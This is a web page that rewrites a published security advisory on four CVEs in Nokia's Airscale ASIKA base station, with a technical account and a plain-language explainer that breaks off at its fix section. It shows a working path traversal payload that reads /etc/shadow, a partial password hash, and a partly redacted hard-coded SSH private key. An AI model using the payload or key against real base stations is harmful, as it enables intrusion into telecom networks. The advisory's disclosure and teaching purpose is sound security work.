Multiple vulnerabilities in Nokia BTS Airscale ASIKA
The Nokia Airscale ASIKA base station had an unauthenticated diagnostic shell (AaShell) with a path traversal flaw allowing arbitrary file reads, plus hard-coded SSH keys and overly permissive systemd services. An attacker with access to the internal management network could read sensitive files, log in via SSH, and escalate to root.
Published on synacktiv.com
Multiple vulnerabilities in Nokia BTS Airscale ASIKA CVE-2023-25186 / CVE-2023-25188 CVE-2023-25187 / CVE-2023-25185 Security advisory 2023/02/21
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Synacktiv performed an audit on the Nokia Airscale ASIKA base transceiver station (BTS), a baseband unit in Nokia's Single RAN product line. The audit covered the firmware version [redacted] and produced four findings, each with its own CVE:
| ID | Finding | CVE |
|---|---|---|
| V01 | Relative path traversal | CVE-2023-25186 |
| V02 | Principle of least privilege | CVE-2023-25188 |
| V03 | Use of hard-coded private key | CVE-2023-25187 |
| V04 | Privilege escalation through improperly protected services | CVE-2023-25185 |
The vulnerabilities affect several components of the device, including but not limited to:
- the AaShell interface handled by the CCSDaemon on port 15007/tcp;
- the web interface;
- the underlying Linux software that handles passwords and authentication.
At the time of writing, version [redacted] was known to be vulnerable. All four issues are fixed as of Nokia Single RAN 21B. The timeline was as follows:
| Date | Action |
|---|---|
| 2022/08/08 | Vulnerability details sent to [redacted] |
| 2023/02/21 | Public release |
Setup
To reach the CCSDaemon on port 15007/tcp, the Ethernet Port Security feature has to be disabled. This is a hardening flag on the BTS, and Nokia's own advisory describes it as the precondition for the AaShell findings: the diagnostic tool is disabled by default and only becomes active once the administrator removes the recommended "Security for Ethernet ports" (SOE) flag. The advisory also stresses that exploitation is only possible from the CSP's internal BTS management network, not from user UEs, roaming networks or the Internet.
Once that flag is off, services such as AaShell on port 15007/tcp, provided by the CCSDaemonExe binary, are reachable. The researchers connected with netcat:
$ nc [redacted] 15007
AaShell>
Finding it
AaShell exposes a limited command line interface with no authentication at all. Typing ? lists the available commands:
AaShell> ?
Command Description
-----------------------------------?
Print description of commands
help
Print description of commands
quit
Quit shell session
cmd
Read commands from file
proc
Print list of running processes
node
Prints own node related information
nodes
Prints node related information for known nodes
procdump
CC&S AaProcDump info
tag
CC&S TAG parameter configuration
svc
CC&S Service Registry parameter configuration
rad
CC&S R&D parameter configuration
log
CC&S trouble shooting log collection
regfile
CC&S Trbl list of registered files
trblserver
CC&S AaTrblServer control commands
tpclient
CC&S TestPorst client status
tpserver
CC&S TestPort server status
tbts
CC&S test case control
sicftp
CC&S SICFTP service
volume
CC&S storage volumes information
mema
CC&S mem adapter services
mtrace
Help command for glibc mtrace functionality
rel
CC&S release tag
msgpool
CC&S IPC message pool info
msghistory
CC&S IPC message pool history info
rtoseu
CC&S RTOSApi eu info
aastat
CC&S statistics info
syslog
CC&S AaSysLog info
print
CC&S AaSysLog printing command
sysinfo
CC&S AaSysInfo info
atrace
CC&S Allocation Tracing info
mb
CC&S Message Broker info
systime
CC&S AaSysTime info
cpid
CC&S Cpid info
largemsggw
CC&S AaSysCom LargeMsgGW info
link
CC&S AaSysCom Link info
hop
CC&S AaSysCom Hop info
syscom
CC&S AaSysCom performance tests
dropped
CC&S AaSysCom Drop History
msgstats
CC&S AaSysCom Message Send Statistics
bind
CC&S AaSysCom Bind info
aasyscomgw
CC&S AaSysCom GW info
error
CC&S AaError info
prof
CC&S AaCpuProfiler Service Command
aasyscomkernelgw
CC&S AaSysComKernel GW info
pcapFileCaptureStart
Start AaPacketCapture with capture to a file
pcapCaptureStatus
Show status of captures
pcapCaptureStop
Stop capture
pcapLiveCaptureReceiver
Set receiver of captured data
pcapLiveCaptureStart
Start AaPacketCapture with live capture to a remote endpoint
udslink
CC&S AaSysComUdsLink info
The interesting entry is cmd, which reads and executes a list of commands from a file. Its usage text is:
AaShell> cmd
NAME
CC&S Shell Commands from File
USAGE
cmd source
Example: cmd /ram/cmdfile.txt
The example shows the intended restriction: command files may only be read from the /ram folder. That check is what the researchers attacked.
Exploitation
Step 1: bypass the /ram restriction with a relative path traversal
The /ram prefix check is affected by a path traversal. Because CCSDaemonExe runs with root privileges, traversing out of /ram allows reading any file on the BTS filesystem, such as /etc/shadow:
AaShell> cmd /ram/../../../../../../../etc/shadow
Execute command: root:*:::::::
'root:*:::::::' is not a valid command
Execute command: toor4nsn:$6$ZuTtnMHn$4KLAf7LqouunwIMU[...]n3izt9tEXXTg/:::::::
'toor4nsn:$6$ZuTtnMHn$4KLAf7LqouunwIMU[...]n3izt9tEXXTg/:::::::' is not a valid command
Execute command: btssw:*:0::::::
'btssw:*:0::::::' is not a valid command
The command uses a traversal sequence to reach /etc/shadow. The file is then interpreted line by line as a command list. Any line that is not a valid command triggers an error message that echoes the line back, so the content of the file is disclosed through the error output. This behaviour, combined with the traversal, allows dumping the content of any file on the system. The output above shows the root, toor4nsn and btssw entries, with the toor4nsn password hash partially elided in the report.
Step 2: note the privileges of the exposed services
The second finding is about least privilege. The researchers ran ps aux on the device and observed that several services run as root, including the FTP server, the CCS daemon and the logging agent:
root@fct-0a:~ >ps aux | grep root
root 1 0.2 0.0 11452 9572 ? Ss Mar12 9:19 /sbin/init nopti nospectre_v2
root 2 0.0 0.0 0 0 ? S Mar12 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< Mar12 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< Mar12 0:00 [rcu_par_gp]
root 8 0.0 0.0 0 0 ? I< Mar12 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S Mar12 0:05 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I Mar12 1:34 [rcu_preempt]
[...]
root 4002 0.0 0.0 5724 2332 ? Ss Mar12 0:00 /usr/sbin/vsftpd
[...]
root 16208 0.1 0.4 4102544 68192 ? Ssl Mar12 4:47 /opt/CCS/CCSDaemonExe --startup=nid=0x1011 -c ccs.service.aaconfig.shell.stream.port 15007
[...]
root 19283 0.0 0.0 3544 2768 ? Ss Mar12 0:00 /bin/bash /opt/nokia/logging_agent/launch_logging_agent.sh
root 19285 0.0 2.7 1617836 443352 ? Sl Mar12 0:24 ./logging_agent
If an attacker gains remote code execution on any of these services, as is possible through the AaShell issue in V01, they obtain full access to the underlying server. In addition, the default root configured for the FTP server is the root of the filesystem, so an attacker with access to the FTP service can trigger remote code execution.
Step 3: recover the hard-coded SSH private key
On the Linux operating system there are two accounts, toor4nsn and serviceuser. Both have a default public key registered in the authorized_keys file in their home folder. These SSH keys are hardcoded in the software package provided by Nokia, and the researchers were able to retrieve the corresponding private key:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqo+qwR7TI153Y2cgKYjGb+AeUy/CicupmNcPQBXLATcm2doS
WZOla58ndvdXZ4Euzf/[redacted]+
[redacted]/81tlVVY7ULI3d24PFMsaBrhsbLyV7nB
[redacted]
[redacted]+V+Ndb+pXLMDtMgbo4F5Tg
fwNJdvAoiKC9brS/Dd/+[redacted]
[redacted]/eiE3rvB
l9EhMAK/[redacted]
[redacted]
DHwU+[redacted]
uRyVqb+[redacted]
oRuw4jZpAoGBANQfMf7WLNpj5XydYP+oLZl1gaYLLE31/1If7I3Mo4EHGb2AWDZg
bggXxCp/sopYw3f3ZQSdaywdyN4Du3F9MUEPq/cTzrivI1IOupajUTe8Enc0+DjQ
TVJnqzE/Zu0sh3KvR/[redacted]
[redacted]/festc+KltGZKsynKtZcjsbzNqjM
[redacted]+LZ22S+IYYd
[redacted]
2jAq3v9EJBc1IKCfTTrhoWuRA1WBRxA+[redacted]
//fBJ4rRAVWvEx+J0Xt2+erUvyT84JeTf+AG7SmjTkxs6uxUsByI7UsCDTrK0CTw
[redacted]
H1/4saMum9SO7Thu202dLRLAOv+JwkucMrVEAS/fi9c9N23e7aK8AJ4uVuvF/M73
ZoE/[redacted]
ajvPmQKBgQCQoy+oPWF+g4tdDt+[redacted]
QVeGW6CZdUEk/DW5+[redacted]
[redacted]==
-----END RSA PRIVATE KEY-----
Using this private key it is possible to connect to any device running this firmware. The researchers recommended deleting the corresponding public keys from future releases of the software.
Step 4: abuse world-writable systemd units
The fourth finding concerns systemd units configured with broad permissions. Listing /etc/systemd/system/ shows unit files with mode -rwxrwxrwt:
root@fct-0a:/tmpScript > ls -ali /etc/systemd/system/
total 448
[...]
30448 -rwxrwxrwt 1 root root 113 Aug 7 00:05 bm-ready.target
[..]
30446 -rwxrwxrwt 1 root root 293 Aug 7 00:05 bm.service
[...]
30458 -rwxrwxrwt 1 root root 371 Aug 7 00:05 soam-bbcutilexe.service
30462 -rwxrwxrwt 1 root root 369 Aug 7 00:05 soam-bstat.service
30461 -rwxrwxrwt 1 root root 413 Aug 7 00:05 soam-btsomexe.service
30459 -rwxrwxrwt 1 root root 360 Aug 7 00:05 soam-dcs.service
30456 -rwxrwxrwt 1 root root 360 Aug 7 00:05 soam-dem.service
30454 -rwxrwxrwt 1 root root 360 Aug 7 00:05 soam-fri.service
30450 -rwxrwxrwt 1 root root 361 Aug 7 00:05 soam-has.service
30452 -rwxrwxrwt 1 root root 361 Aug 7 00:05 soam-lts.service
30449 -rwxrwxrwt 1 root root 360 Aug 7 00:05 soam-mci.service
30453 -rwxrwxrwt 1 root root 369 Aug 7 00:05 soam-mctrl.service
30445 -rwxrwxrwt 1 root root 366 Aug 7 00:05 soam-ne3sadapt.service
30455 -rwxrwxrwt 1 root root 360 Aug 7 00:05 soam-nts.service
30447 -rwxrwxrwt 1 root root 73 Aug 7 00:05 soam-ready.target
[...]
30457 -rwxrwxrwt 1 root root 361 Aug 7 00:05 soam-swm.service
30463 -rwxrwxrwt 1 root root 467 Aug 7 00:05 soam-sysadapter.service
30460 -rwxrwxrwt 1 root root 361 Aug 7 00:05 soam-tas.service
[...]
30280 -rwxrwxrwt 1 root root 354 Aug 7 00:05 trace-controller-configurator.service
Because these units are writable, an attacker could modify one of them to gain root privileges on the system.
Root cause
V01 is a path traversal in the cmd handler: the check restricting command files to /ram is affected by a relative path traversal, so a crafted path escapes the intended directory. The daemon runs as root, and the error path echoes invalid lines, turning the command parser into a file-disclosure primitive.
V02 is a design issue: services such as vsftpd, CCSDaemonExe and the logging agent run as root, and the FTP server's default root is the filesystem root. Any code execution in one of them yields full control of the host.
V03 is a key-management failure: the same SSH key pair ships in the software package and is registered in authorized_keys for the toor4nsn and serviceuser accounts. Nokia's advisory adds that commissioning procedures did not change the factory-installed default SSH keys to operator-specific ones before release 21B, and that the SSH server is disabled by default and only enabled for deep troubleshooting. The advisory also notes that the keys alone do not give access to the BTS, since service user authentication is username/password based on top of SSH; the exposure is a man-in-the-middle risk during the windows when SSH is enabled.
V04 is a permissions mistake: systemd unit files under /etc/systemd/system/ are configured with broad permissions, and an attacker could modify one of these services to gain root privileges on the system.
Impact
Nokia's CVSS scores for the four issues are:
| CVE | Vector | Score |
|---|---|---|
| CVE-2023-25186 | CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:H | 5.1 |
| CVE-2023-25188 | CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:H | 5.1 |
| CVE-2023-25187 | CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H | 6.3 |
| CVE-2023-25185 | CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L | 3.8 |
The advisory is explicit about the limits: exploitation is not possible from user UEs, roaming networks or the Internet, only from the CSP's internal BTS management network. For V01 and V02 the administrator must first disable the SOE flag, which activates AaShell; for V03 the SSH server must be enabled, which is not the default. Within those conditions, the path traversal gives unauthenticated read access to the BTS filesystem, including /etc/shadow; the over-privileged services turn any code execution into root on the host; the hard-coded key allows connecting to any device running this firmware; and the writable systemd units allow a local attacker to escalate to root. For V04, Nokia's advisory states the attack vector as unknown or no exploit demonstrated.
Fix
According to the advisory:
- AaShell is restricted to the loopback address, so it can only be reached after authenticating to the BTS, and the path traversal is fixed (CVE-2023-25186, CVE-2023-25188).
- Process privileges have been tightened to the required level (CVE-2023-25188).
- Commissioning procedures now change the Nokia default SSH keys to operator-specific ones (CVE-2023-25187).
- The privileges of the affected processes have been lowered as a hardening measure (CVE-2023-25185).
The researchers additionally recommended deleting the hard-coded public keys from future releases.
Variants to test
- Prefix checks on file-reading commands. On any diagnostic shell that accepts a path with a directory restriction, try traversal sequences such as
../../after the allowed prefix. A positive result is the command reading a file outside the intended directory, or an error message that echoes file content. - Error messages that reflect input. Where a parser echoes invalid lines, feed it a file whose lines are not valid commands. A positive result is file content appearing in error output.
- Unauthenticated diagnostic interfaces. Check whether management or diagnostic ports answer without credentials once hardening flags are disabled. A positive result is a prompt or command listing reachable over the network.
- Service account privileges. Run
ps auxon the target and look for network-facing daemons running as root. A positive result is an FTP, shell or logging service owned by root. - Default SSH keys in firmware images. Extract the filesystem and inspect
authorized_keysfor keys that also appear in the package. A positive result is a private key shipped alongside its public key, or the same public key across devices. - World-writable systemd units. List
/etc/systemd/system/and look for unit files writable by non-root users. A positive result is a unit file with world-write permission that a low-privileged user can modify and that runs as root.
What happened, in plain words
A security company called Synacktiv was hired to look at a piece of telecoms equipment made by Nokia: the Nokia Airscale ASIKA. This is a base transceiver station, or BTS. In a mobile network, a BTS is the box that sits at a cell site and talks by radio to your phone; it is the part of the network you are closest to. Nokia sells it as part of a product line called Single RAN.
The researchers examined one particular version of the software that runs on the box, [redacted], and found four separate problems. Each problem got its own identifier, called a CVE. A CVE is a public catalogue number for a known security flaw, so that everyone can refer to the same issue unambiguously.
| ID | Finding | CVE |
|---|---|---|
| V01 | Relative path traversal | CVE-2023-25186 |
| V02 | Principle of least privilege | CVE-2023-25188 |
| V03 | Use of hard-coded private key | CVE-2023-25187 |
| V04 | Privilege escalation through improperly protected services | CVE-2023-25185 |
The problems touch several parts of the device, including but not limited to:
- the AaShell interface handled by the CCSDaemon on port 15007/tcp;
- the web interface;
- the underlying Linux software that handles passwords and authentication.
At the time of writing, version [redacted] was known to be vulnerable. All four issues are fixed as of Nokia Single RAN 21B. The timeline was:
| Date | Action |
|---|---|
| 2022/08/08 | Vulnerability details sent to [redacted] |
| 2023/02/21 | Public release |
Setup
Before any of this can be reached, one protective setting has to be turned off: the Ethernet Port Security feature. Think of it as a lock on the network sockets of the box. Nokia's own advisory calls this the precondition for the AaShell findings: the diagnostic tool is disabled by default and only becomes active once the administrator removes the recommended "Security for Ethernet ports" (SOE) flag. The advisory also stresses that exploitation is only possible from the CSP's internal BTS management network, not from user UEs, roaming networks or the Internet. A UE is a user equipment, meaning a phone or other device on the mobile network; a CSP is the communication service provider, the operator running the network.
Once that flag is off, services such as AaShell on port 15007/tcp are reachable. A port is a numbered door on a computer that a particular service listens behind; 15007/tcp means door number 15007 using the TCP protocol. AaShell is provided by a program called CCSDaemonExe. The researchers connected to it with netcat, a small tool that opens a raw network connection and lets you type at whatever is on the other side:
$ nc [redacted] 15007
AaShell>
Line by line: $ is the shell prompt on the researcher's own machine, so the line is a command typed there. nc is netcat. [redacted] is the address of the BTS on the internal management network. 15007 is the port. The next line, AaShell>, is not typed by the researcher: it is the prompt the device sends back, which shows the connection succeeded and the tool is waiting for commands.
Finding it
AaShell exposes a limited command line interface with no authentication at all. A command line interface is a way of controlling a program by typing text commands instead of clicking buttons. No authentication means nobody asks for a username or password before letting you in. Typing ? lists the available commands:
AaShell> ?
Command Description
-----------------------------------?
Print description of commands
help
Print description of commands
quit
Quit shell session
cmd
Read commands from file
proc
Print list of running processes
node
Prints own node related information
nodes
Prints node related information for known nodes
procdump
CC&S AaProcDump info
tag
CC&S TAG parameter configuration
svc
CC&S Service Registry parameter configuration
rad
CC&S R&D parameter configuration
log
CC&S trouble shooting log collection
regfile
CC&S Trbl list of registered files
trblserver
CC&S AaTrblServer control commands
tpclient
CC&S TestPorst client status
tpserver
CC&S TestPort server status
tbts
CC&S test case control
sicftp
CC&S SICFTP service
volume
CC&S storage volumes information
mema
CC&S mem adapter services
mtrace
Help command for glibc mtrace functionality
rel
CC&S release tag
msgpool
CC&S IPC message pool info
msghistory
CC&S IPC message pool history info
rtoseu
CC&S RTOSApi eu info
aastat
CC&S statistics info
syslog
CC&S AaSysLog info
print
CC&S AaSysLog printing command
sysinfo
CC&S AaSysInfo info
atrace
CC&S Allocation Tracing info
mb
CC&S Message Broker info
systime
CC&S AaSysTime info
cpid
CC&S Cpid info
largemsggw
CC&S AaSysCom LargeMsgGW info
link
CC&S AaSysCom Link info
hop
CC&S AaSysCom Hop info
syscom
CC&S AaSysCom performance tests
dropped
CC&S AaSysCom Drop History
msgstats
CC&S AaSysCom Message Send Statistics
bind
CC&S AaSysCom Bind info
aasyscomgw
CC&S AaSysCom GW info
error
CC&S AaError info
prof
CC&S AaCpuProfiler Service Command
aasyscomkernelgw
CC&S AaSysComKernel GW info
pcapFileCaptureStart
Start AaPacketCapture with capture to a file
pcapCaptureStatus
Show status of captures
pcapCaptureStop
Stop capture
pcapLiveCaptureReceiver
Set receiver of captured data
pcapLiveCaptureStart
Start AaPacketCapture with live capture to a remote endpoint
udslink
CC&S AaSysComUdsLink info
This is one long list. The first line, AaShell> ?, is the researcher asking for help. Everything after it is the device's answer: a table of command names and a short description of each. Most of the entries are diagnostic tools for Nokia's own engineers, things like printing running processes (proc), showing logs (log) or capturing network traffic (pcapFileCaptureStart).
The interesting entry is cmd, which reads and executes a list of commands from a file. Its usage text is:
AaShell> cmd
NAME
CC&S Shell Commands from File
USAGE
cmd source
Example: cmd /ram/cmdfile.txt
Here the researcher typed cmd on its own, and the device replied with a short manual page. NAME gives the command's name and purpose. USAGE shows the syntax: cmd source, where source is the file to read. The Example line shows a real path, /ram/cmdfile.txt. A path is the address of a file inside the device's storage; /ram is a folder, and cmdfile.txt is a file inside it. The example shows the intended restriction: command files may only be read from the /ram folder. That check is what the researchers attacked.
Exploitation
Step 1: bypass the /ram restriction with a relative path traversal
The /ram prefix check is affected by a path traversal. A path traversal is a trick where you put .. segments into a file path. In every operating system, .. means "the folder above this one". If the program only checks that the text starts with /ram and never resolves the .., the check passes while the file actually opened is somewhere else entirely. It is like a guard who only reads the first word of a delivery address and lets the van through, even though the rest of the address points to a different building.
Because CCSDaemonExe runs with root privileges, traversing out of /ram allows reading any file on the BTS filesystem, such as /etc/shadow. Root is the all-powerful administrator account on Linux; a program running as root can read and change anything. /etc/shadow is the file where Linux keeps user accounts and their password hashes. A hash is a one-way scrambling of a password: you cannot read the password back out of it, but you can test guesses against it, which is why the file is normally readable only by root.
AaShell> cmd /ram/../../../../../../../etc/shadow
Execute command: root:*:::::::
'root:*:::::::' is not a valid command
Execute command: toor4nsn:$6$ZuTtnMHn$4KLAf7LqouunwIMU[...]n3izt9tEXXTg/:::::::
'toor4nsn:$6$ZuTtnMHn$4KLAf7LqouunwIMU[...]n3izt9tEXXTg/:::::::' is not a valid command
Execute command: btssw:*:0::::::
'btssw:*:0::::::' is not a valid command
Line by line: the first line is the researcher's command. cmd asks AaShell to read a command file. The path starts with /ram/, which satisfies the check, and then repeats .. seven times to climb up to the top of the filesystem, before ending at etc/shadow. The device then does what cmd always does: it opens the file and treats each line as a command to run. The next line, Execute command: root:*:::::::, is the device announcing that it is about to run the first line of the file. The line after that, 'root:*:::::::' is not a valid command, is the error: the text is not a command AaShell knows. The same pair repeats for the next two lines of the file, one for the account toor4nsn and one for btssw. The toor4nsn password hash is shown only partially in the report, with [...] standing in for the middle.
The important detail is that the error message repeats the line back. The command uses a traversal sequence to reach /etc/shadow. The file is then interpreted line by line as a command list. Any line that is not a valid command triggers an error message that echoes the line back, so the content of the file is disclosed through the error output. This behaviour, combined with the traversal, allows dumping the content of any file on the system. The output above shows the root, toor4nsn and btssw entries, with the toor4nsn password hash partially elided in the report.
Step 2: note the privileges of the exposed services
The second finding is about least privilege. The principle of least privilege is the idea that every person and every program should get only the permissions it actually needs to do its job, and nothing more. A cleaner who needs to empty the bins in one office should not be handed the keys to the whole building. The researchers ran ps aux on the device and observed that several services run as root, including the FTP server, the CCS daemon and the logging agent. ps aux is a standard Linux command that lists every running program, who owns it and what it is doing. FTP is an old protocol for copying files between computers.
root@fct-0a:~ >ps aux | grep root
root 1 0.2 0.0 11452 9572 ? Ss Mar12 9:19 /sbin/init nopti nospectre_v2
root 2 0.0 0.0 0 0 ? S Mar12 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< Mar12 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< Mar12 0:00 [rcu_par_gp]
root 8 0.0 0.0 0 0 ? I< Mar12 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S Mar12 0:05 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I Mar12 1:34 [rcu_preempt]
[...]
root 4002 0.0 0.0 5724 2332 ? Ss Mar12 0:00 /usr/sbin/vsftpd
[...]
root 16208 0.1 0.4 4102544 68192 ? Ssl Mar12 4:47 /opt/CCS/CCSDaemonExe --startup=nid=0x1011 -c ccs.service.aaconfig.shell.stream.port 15007
[...]
root 19283 0.0 0.0 3544 2768 ? Ss Mar12 0:00 /bin/bash /opt/nokia/logging_agent/launch_logging_agent.sh
root 19285 0.0 2.7 1617836 443352 ? Sl Mar12 0:24 ./logging_agent
Line by line: the first line is the prompt on the device itself, root@fct-0a, meaning the researcher is logged in as root on a machine called fct-0a. The command is ps aux, which lists all processes, piped with | into grep root, which filters the list down to lines containing the word root. A process is a running program. Each following line describes one process: the owner (root), a process number, some resource figures, a state letter, a start time, and the command that was launched. The [...] lines are places where the report cut out rows that were not relevant. The rows that matter are /usr/sbin/vsftpd, the FTP server; /opt/CCS/CCSDaemonExe, the daemon behind AaShell, whose arguments include the port 15007; and the two logging agent rows. All of them are owned by root.
If an attacker gains remote code execution on any of these services, as is possible through the AaShell issue in V01, they obtain full access to the underlying server. Remote code execution means getting a program on the target to run commands of your choosing. In addition, the default root configured for the FTP server is the root of the filesystem, so an attacker with access to the FTP service can trigger remote code execution. In other words, the FTP server starts you at the top of the whole disk rather than in a small shared folder, which makes it far more dangerous if abused.
Step 3: recover the hard-coded SSH private key
SSH is the standard way to open an encrypted terminal session on a Linux machine. Instead of a password, it can use a key pair: a private key, which you keep secret, and a public key, which you give out. The server stores your public key in a file called authorized_keys; when you connect, the two keys perform a mathematical handshake that proves you hold the matching private key, without the private key ever crossing the network. Hard-coded means the key is baked into the software itself, the same on every copy, rather than generated fresh for each device.
On the Linux operating system there are two accounts, toor4nsn and serviceuser. Both have a default public key registered in the authorized_keys file in their home folder. These SSH keys are hardcoded in the software package provided by Nokia, and the researchers were able to retrieve the corresponding private key:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqo+qwR7TI153Y2cgKYjGb+AeUy/CicupmNcPQBXLATcm2doS
WZOla58ndvdXZ4Euzf/[redacted]+
[redacted]/81tlVVY7ULI3d24PFMsaBrhsbLyV7nB
[redacted]
[redacted]+V+Ndb+pXLMDtMgbo4F5Tg
fwNJdvAoiKC9brS/Dd/+[redacted]
[redacted]/eiE3rvB
l9EhMAK/[redacted]
[redacted]
DHwU+[redacted]
uRyVqb+[redacted]
oRuw4jZpAoGBANQfMf7WLNpj5XydYP+oLZl1gaYLLE31/1If7I3Mo4EHGb2AWDZg
bggXxCp/sopYw3f3ZQSdaywdyN4Du3F9MUEPq/cTzrivI1IOupajUTe8Enc0+DjQ
TVJnqzE/Zu0sh3KvR/[redacted]
[redacted]/festc+KltGZKsynKtZcjsbzNqjM
[redacted]+LZ22S+IYYd
[redacted]
2jAq3v9EJBc1IKCfTTrhoWuRA1WBRxA+[redacted]
//fBJ4rRAVWvEx+J0Xt2+erUvyT84JeTf+AG7SmjTkxs6uxUsByI7UsCDTrK0CTw
[redacted]
H1/4saMum9SO7Thu202dLRLAOv+JwkucMrVEAS/fi9c9N23e7aK8AJ4uVuvF/M73
ZoE/[redacted]
ajvPmQKBgQCQoy+oPWF+g4tdDt+[redacted]
QVeGW6CZdUEk/DW5+[redacted]
[redacted]==
-----END RSA PRIVATE KEY-----
This block is a single RSA private key, in the text format used by OpenSSH. RSA is one of the standard algorithms for public-key cryptography. The first and last lines are markers that tell software where the key begins and ends. Everything between them is the key material itself, encoded as text so it can be copied and pasted. Because this key is hardcoded in Nokia's software package, the same private key is present in every copy of that package.
Using this private key it is possible to connect to any device running this firmware. The researchers recommended deleting the corresponding public keys from future releases of the software.
Step 4: abuse world-writable systemd units
systemd is the program on most Linux systems that starts and supervises other services. It reads small configuration files called units, which say what to run, as which user, and when. Those unit files live in /etc/systemd/system/. If a unit file can be edited by anyone, then anyone can change what a root-owned service runs the next time it starts.
The fourth finding concerns systemd units configured with broad permissions. Listing /etc/systemd/system/ shows unit files with mode -rwxrwxrwt:
root@fct-0a:/tmpScript > ls -ali /etc/systemd/system/
total 448
[...]
30448 -rwxrwxrwt 1 root root 113 Aug 7 00:05 bm-ready.target
[..]
30446 -rwxrwxrwt 1 root root 293 Aug 7 00:05 bm.service
[...]
30458 -rwxrwxrwt 1 root root 371 Aug 7 00:05 soam-bbcutilexe.service
30462 -rwxrwxrwt 1 root root 369 Aug 7 00:05 soam-bstat.service
30461 -rwxrwxrwt 1 root root 413 Aug 7 00:05 soam-btsomexe.service
30459 -rwxrwxrwt 1 root root 360 Aug 7 00:05 soam-dcs.service
30456 -rwxrwxrwt 1 root root 360 Aug 7 00:05 soam-dem.service
30454 -rwxrwxrwt 1 root root 360 Aug 7 00:05 soam-fri.service
30450 -rwxrwxrwt 1 root root 361 Aug 7 00:05 soam-has.service
30452 -rwxrwxrwt 1 root root 361 Aug 7 00:05 soam-lts.service
30449 -rwxrwxrwt 1 root root 360 Aug 7 00:05 soam-mci.service
30453 -rwxrwxrwt 1 root root 369 Aug 7 00:05 soam-mctrl.service
30445 -rwxrwxrwt 1 root root 366 Aug 7 00:05 soam-ne3sadapt.service
30455 -rwxrwxrwt 1 root root 360 Aug 7 00:05 soam-nts.service
30447 -rwxrwxrwt 1 root root 73 Aug 7 00:05 soam-ready.target
[...]
30457 -rwxrwxrwt 1 root root 361 Aug 7 00:05 soam-swm.service
30463 -rwxrwxrwt 1 root root 467 Aug 7 00:05 soam-sysadapter.service
30460 -rwxrwxrwt 1 root root 361 Aug 7 00:05 soam-tas.service
[...]
30280 -rwxrwxrwt 1 root root 354 Aug 7 00:05 trace-controller-configurator.service
Line by line: the first line is the prompt, showing the researcher is in a folder called /tmpScript, followed by the command ls -ali /etc/systemd/system/. ls lists the contents of a folder; -ali asks for extra detail, including inode numbers, permissions and owner; the path at the end is the folder being listed. The total 448 line is a summary of disk usage. Each following line describes one file: an inode number, then the permission string, then the owner and group (root root), the size in bytes, the date and time, and the file name. The permission string -rwxrwxrwt is the key part. The first character, -, means it is a regular file. The next three, rwx, are the owner's permissions: read, write, execute. The next three, rwx, are the group's. The last three, rwt, are everyone else's: read, write, and a special t bit. The w in that last group is the problem: the file is writable beyond its owner, and an attacker could modify one of these services to gain root privileges. The [...] and [..] lines are places where the report cut out rows.
Because these units are writable, an attacker could modify one of them to gain root privileges on the system. Privilege escalation means going from a low-powered account to a more powerful one, here from an ordinary user to root.
Root cause
V01 is a classic prefix check on a user-supplied path: the cmd handler only verifies that the path starts with /ram, without resolving .. segments, so a relative traversal escapes the intended directory. The daemon runs as root, and the error path echoes invalid lines, turning the command parser into a file-disclosure primitive. A parser is the part of a program that reads and interprets input; a primitive here means a basic building block an attacker can reuse.
V02 is a design issue: services such as vsftpd, CCSDaemonExe and the logging agent run as root, and the FTP server's default root is the filesystem root. Any code execution in one of them yields full control of the host.
V03 is a key-management failure: the same SSH key pair ships in the software package and is registered in authorized_keys for the toor4nsn and serviceuser accounts. Nokia's advisory adds that commissioning procedures did not change the factory-installed default SSH keys to operator-specific ones before release 21B, and that the SSH server is disabled by default and only enabled for deep troubleshooting. The advisory also notes that the keys alone do not give access to the BTS, since service user authentication is username/password based on top of SSH; the exposure is a man-in-the-middle risk during the windows when SSH is enabled. A man-in-the-middle is an attacker who sits between two parties and can read or alter what passes between them.
V04 is a permissions mistake: systemd unit files under /etc/systemd/system/ are configured with broad permissions, and an attacker could modify one of these services to gain root privileges on the system.
Impact
Nokia's CVSS scores for the four issues are:
| CVE | Vector | Score |
|---|---|---|
| CVE-2023-25186 | CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:H | 5.1 |
| CVE-2023-25188 | CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:H | 5.1 |
| CVE-2023-25187 | CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H | 6.3 |
| CVE-2023-25185 | CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L | 3.8 |
CVSS is a standard scoring system for security flaws. The vector is a compact string that records the assumptions behind the score: AV:L means the attacker needs local or adjacent access rather than the open Internet, AC:H means exploitation is hard, PR:H means the attacker needs high privileges first, UI:R means a user has to do something, S:U means the impact stays within the vulnerable component, and the last three letters rate the effect on confidentiality, integrity and availability as low, high or none. The score is a number from 0 to 10, higher meaning more serious.
The advisory is explicit about the limits: exploitation is not possible from user UEs, roaming networks or the Internet, only from the CSP's internal BTS management network. For V01 and V02 the administrator must first disable the SOE flag, which activates AaShell; for V03 the SSH server must be enabled, which is not the default. Within those conditions, the path traversal gives unauthenticated read access to the BTS filesystem, including /etc/shadow; the over-privileged services turn any code execution into root on the host; the hard-coded key allows connecting to any device running this firmware; and the writable systemd units allow a local attacker to escalate to root. For V04, Nokia's advisory states the attack vector as unknown or no exploit demonstrated.
Fix
According to the advisory:
